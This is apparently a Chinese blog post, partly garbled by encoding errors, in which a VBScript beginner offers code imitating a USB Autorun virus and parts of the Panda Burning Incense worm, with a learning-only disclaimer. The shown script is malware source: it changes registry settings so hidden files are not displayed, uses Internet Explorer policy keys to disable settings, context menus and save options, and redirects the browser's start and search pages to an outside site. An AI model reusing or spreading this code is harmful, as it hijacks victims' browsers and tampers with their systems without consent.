使用過(guò)U盤(pán)的朋友都知道u盤(pán)病毒是一種Autorun自運(yùn)行病毒,當(dāng)雙擊時(shí)觸發(fā)病毒體,會(huì)復(fù)制自身到C D E和系統(tǒng)盤(pán)system32下等盤(pán)符,(生成exe文件和一個(gè)Autorun.inf文件),同時(shí)修改注冊(cè)表,當(dāng)點(diǎn)擊C盤(pán)等盤(pán)符右鍵時(shí),會(huì)有一個(gè)auto命令(黑色粗體)或者是兩個(gè)開(kāi)始命令,本人學(xué)習(xí)vbs才15天,我也來(lái)模擬下這個(gè)autorun病毒 和部分熊貓燒香功能,本人能力有限, 只能模擬這樣的病毒了,聲明, 本人模擬這個(gè)病毒,全是為了學(xué)習(xí)和技術(shù)，切忌不要搞破壞，如果有人用本人代碼破壞,后果自負(fù)on error resume next
dim fso,wsh,myfile,ws,pp,fsoFolder
set wsh=wscript.createobject("wscript.shell")
set fso=wscript.createobject("scripting.filesystemobject")
set myfile=fso.GetFile(wscript.scriptfullname)
'修改注冊(cè)表（開(kāi)始菜單里面的東西和IE各項(xiàng)設(shè)置)
wsh.Regwrite "HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/Advanced/Folder/Hidden/SHOWALL/CheckedValue",0,"REG_DWORD"
wsh.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoBrowserContextMenu",1,"REG_DWORD"
wsh.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoBrowserOptions",1,"REG_DWORD"
wsh.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoBrowserSaveAs",1,"REG_DWORD"
wsh.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoFileOpen",1,"REG_DWORD"
wsh.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/Advanced",1,"REG_DWORD"
wsh.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/Cache Internet",1,"REG_DWORD"
wsh.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/AutoConfig",1,"REG_DWORD"
wsh.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/HomePage",1,"REG_DWORD"
wsh.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/History",1,"REG_DWORD"
wsh.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/Connwiz Admin Lock",1,"REG_DWORD"
wsh.Regwrite "HKCU/Software/Microsoft/Internet Explorer/Main/Start Page","http://ruanji03.ys168.com"
wsh.Regwrite "HKCU/Software/Microsoft/Internet Explorer/Main/Search Page","http://ruanji03.ys168.com"
wsh.Regwrite "HKCU/Software/Microsoft/Internet Explorer/Main/Default_Page_URL","http://ruanji03.ys168.com"
wsh.Regwrite "HKCU/Software/Microsoft/Internet Explorer/Main/Default_Search_URL","http://ruanji03.ys168.com"
wsh.Regwrite "HKEY_USERS/.DEFAULT/Software/Microsoft/Internet Explorer/Main/Start Page","http://ruanji03.ys168.com"
wsh.Regwrite "HKEY_USERS/.DEFAULT/Software/Microsoft/Internet Explorer/Main/Default_Page_URL","http://ruanji03.ys168.com"
